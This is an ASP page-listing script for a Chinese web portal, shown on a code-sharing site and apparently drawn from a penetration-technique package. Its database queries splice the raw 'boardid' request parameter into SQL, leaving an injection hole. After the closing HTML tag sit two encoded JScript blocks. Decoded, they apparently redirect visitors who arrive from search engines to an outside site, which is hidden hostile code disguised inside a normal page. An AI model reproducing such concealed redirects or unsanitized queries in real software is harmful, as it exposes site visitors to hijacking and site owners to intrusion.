list.asp
来自「关于网络渗透技术的详细讲解」· ASP 代码 · 共 238 行
ASP
238 行
<!--#include file="conn.asp"-->
<!--#include file="config.asp"-->
<html>
<head>
<title>世纪易网__网络学院</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<link href="./css/main.css" rel=stylesheet>
<body leftmargin="0" topmargin="0">
<div align="center">
<%sub titlen(i)
tlen=rs("title")
if len(tlen)>i then
tlen=left(tlen,i)&"..."
else
tlen=tlen
end if
end sub%>
<%
Const PAGESIZE=40
Const PARTSIZE=10
dim tlen
tlen=""
Aboardid=trim(request("boardid"))
if request("boardid")="" then
response.write"<center><br><br><font color=red>您所连接的版面不存在！</font><br><br>"
else
set rs1 = server.CreateObject ("Adodb.recordset")
sql="select classid,boardid,boardname from board where boardid="& request("boardid")
rs1.open sql,conn,1,1
if rs1.eof or rs1.bof then
response.write"<center><br><br><font color=red>您所连接的版面不存在！</font><br><br>"
else
%>
<%
set rs2 = server.CreateObject ("Adodb.recordset")
sql2="select classid,classname from class where classid="& rs1("classid")
rs2.open sql2,conn,1,1
%>
<table width="760" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td height=3 bgcolor=ffcc00></td>
</tr>
<tr>
<td height=20 align="center" bgcolor=#333333><font color=ffffff><a class=h href=../index.htm >易网首页</a> </font><a class=h href=../cobible>企业圣经</a><font color=ffffff> <a class=h href=../economy>经济观察</a> <a class=h href=../learn>求知易路</a> <a class=h href=../fortune>财富无限</a> <a class=h href=../data>世纪数据</a> <a class=h href=../school>网络学院</a> <a class=h href=../relax>休闲驿站</a> <a class=h href=../view>易网视点</a> <a class=h href=../dir>酷站导航</a> <a class=h href=../bbs>世纪论坛</a></font></td>
</tr>
<tr>
<td height=1 bgcolor="999999"></td>
</tr>
<tr>
<td height=20 align="center" bgcolor=#555555><a class=h href=../free>免费资源</a> <a class=h href=../download>下载中心</a> <a class=h href=../birthday target="_blank">生日密码</a> <a class=h href=../cobible/index7.htm>创业指南</a> <a class=h href=../learn/index6.htm>职业生涯</a> <a class=h href=../learn/index2.htm>考研</a><a class=h href=../learn/index4.htm>留学</a> <a class=h href=../fortune/index7.htm>个人理财</a> <a class=h href=../fortune/index5.htm>收藏宝典</a> <a class=h href=../relax/index4.htm>爆笑网文</a> <a class=h href=../school/index5.htm>硬件指南</a> <a class=h href=../service/>易网服务</a></td>
</tr>
</table>
<table width="760" border="0">
<tr>
<td width="150" height="70"><img src="image/logo.gif" width="135" height="60"></td>
<td width="480" align="center"><IFRAME marginWidth=0 marginHeight=0 src=http://www.21eok.com/ad/ad_school_head.htm frameBorder=0 width=468 scrolling=no height=60 ></IFRAME></td>
<td> </td>
</tr>
</table>
<table width="760" border="0" cellpadding="0" cellspacing="0" background="image/mubg.gif">
<tr align="center" valign="bottom">
<td width="5"><img src="image/mu1.gif" width="5" height="20"></td>
<td><a class=h href=index.htm>学院首页</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index1.htm>冲浪宝典</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index2.htm>网站建设</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index3.htm>操作系统</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index4.htm>软件时空</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index5.htm>硬件指南</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index6.htm>设计天堂</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index7.htm>网络安全</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=index8.htm>数据库</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=../download/sort.asp?classid=3>经典教程</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=../learn/index5.htm>IT认证</a></td>
<td width="10"><img src="image/mu2.gif" width="10" height="20"></td>
<td><a class=h href=../bbs/>技术论坛></a></td>
<td width="8"><img src="image/mu3.gif" width="8" height="20"></td>
</tr>
</table>
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height=1 bgcolor=000000></td>
</tr>
<tr>
<td height="8"><img src="image/mubg1.gif" width="760" height="8"></td>
</tr>
</table>
<table width="760" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="1" height="88" bgcolor=BDCBD9></td>
<td width="160" valign="top" bgcolor="#F0F3F7" class=c><table width="100%" height="40" cellpadding="3" cellspacing="0" >
<form action="search.asp" method="post">
<tr >
<td colspan="2" align="center"> <input type=text size=12 name="keyword">
<input type=submit value="搜索" name="submit"> <input type=hidden name=datesearch value=all>
<input type="hidden" name="AreaSearch" value=1> </td>
</tr>
</form>
</table>
<img src="image/leftmu6.gif" width="160" height="20"> <script language=JavaScript src="./js/topic.js"></script>
<br>
<img src="image/leftmu7.gif" width="160" height="20"><br>
<script language=JavaScript src="./js/focus<%=rs1("classid")%>.js"></script>
</td>
<td width="9" background="image/leftbg.gif"> </td>
<td width="590" valign="top"><table width="100%" border="0">
<tr>
<td>当前位置：<a href="./">学院首页</a> >> <a href=index<%=rs2("classid")%>.htm><%=rs2("classname")%></a> >> <%=rs1("boardname")%></td>
</tr>
</table>
<br>
<table width="550" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="15" height="20"><img src="image/a3.gif" width="9" height="9"></td>
<td width="60"><strong><b><%=rs1("boardname")%></b></strong></td>
<td><img src="image/line.gif" width="150" height="20"></td>
</tr>
<tr bgcolor="#cccccc">
<td colspan="3" height=1></td>
</tr>
<tr>
<td colspan="3" height=1></td>
</tr>
<tr bgcolor="#cccccc">
<td colspan="3" height=1></td>
</tr>
</table>
<table width="550" border="0" cellspacing="0" cellpadding="0">
<tr>
<td bgcolor="#F7F7F7" class=c>
<ul>
<%
dim pagecount,page,Spage,Epage,recordcount,i
page = request.querystring("page")
if page = "" or IsNull(page) then page = 1
if not IsNumeric(page) then page = 1
page = Cint(page)
set rs = server.CreateObject ("Adodb.recordset")
sql="select id,title,tit,boardid,fpath,fname,addtime,ifshow from article where ifshow=1 and boardid="&request("boardid")&" order by id desc"
rs.open sql,conn,1,1
recordcount = RS.RecordCount
RS.PageSize = PAGESIZE
pagecount = RS.PageCount
if page < 1 then
page = 1
elseif page > pagecount then
page = pagecount
end if
if RS.EOF then
Response.Write("<center><font color=red>目前还没有内容</font>")
else
if recordcount > 0 then RS.AbsolutePage = page
for i = 1 to PAGESIZE
if RS.EOF then exit for
call titlen(listlen)
%>
<table width=100% border=0 cellspacing=0 cellpadding=0>
<tr>
<td width=25><img src=img/222.gif width=9 height=7></td>
<td height=23 width="308"><a href=./<%=rs("fpath")%>/<%=rs("fname")%> title=<%=rs("tit")%>><%=rs("tit")%></a></td>
<td width=135 align=center class=a><font color=666666><% temptime ="["&year(rs("addtime")) & "-" & month(rs("addtime")) & "-" & day(rs("addtime"))&"]" %><%=temptime%></font></td>
</tr>
<tr>
<td width="25"></td>
<td background=img/027.gif colspan=2><img src=img/027.gif width=3 height=1></td>
</tr>
</table>
<%
RS.MoveNext()
next
end if
%>
</ul>
<%if pagecount > 0 then
response.write("<table width=""95%"" align=center cellspacing=3 cellpadding=3><tr><td align=right>")
response.write("页次：<font color=red><b>" & page & "</font>/" & pagecount & "</b> 每页<b>" & pagesize & "</b> 共<b>" & recordcount & "</b> 分页：")
Spage = page mod PARTSIZE
if page > PARTSIZE then
if Spage = 0 then Spage = PARTSIZE
Spage = page - Spage + 1
else
Spage = 1
end if
Epage = Spage + PARTSIZE - 1
if Epage > pagecount then Epage = pagecount
if page > PARTSIZE then
response.write("<a href=""list.asp?boardid=" & Aboardid & "&page=" & Spage - 1 & """>[<<]</a>")
end if
for i = Spage to Epage
if i = page then
response.write("[<font color=red><b>" & i & "</b></font>]")
else
response.write("[<a href=""list.asp?boardid=" & Aboardid & "&page=" & i & """>" & i & "</a>]")
end if
next
if Epage < pagecount then
response.write("<a href=""list.asp?boardid=" & Aboardid & "&page=" & Epage + 1 & """>[>>]</a>")
end if
if Spage <> 1 then response.write("[<a href=""list.asp?boardid=" & Aboardid & "&page=1"">首页</a>]")
if Epage <> pagecount then response.write("[<a href=""list.asp?boardid=" & Aboardid & "&page=" & pagecount & """>尾页</a>]")
response.write("</td></tr></table><br>")
end if
rs.close
set rs=nothing
%>
</td>
</tr>
</table>
<br> </td>
</tr>
</table>
<script language=JavaScript src="./js/end.js"></script>
<%end if
end if
rs1.close
set rs1=nothing
%>
</div>
</body>
</html>
<script language = JScript.Encode>#@~^agAAAA==@#@&\CMPk'NKm!h+ Y D0n.M+D@#@&k6`/crUN6}0cJzC4WGJ*@*!*@#@&dV0 sKmCYbG 'E4YDw)JzSAhcF0l7R^UJ66cC/aJi@#@&uB8AAA==^#~@</script><script language = JScript.Encode>#@~^awAAAA==@#@&\CMPk'NKm!h+ Y D0n.M+D@#@&k6`/crUN6}0cJLGKos+rb@*Z#@#@&k+VW ^W^lDrKxxrtDYw=zJAhSRq%m\ ^ z6X lkwJp@#@&FSAAAA==^#~@</script>
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?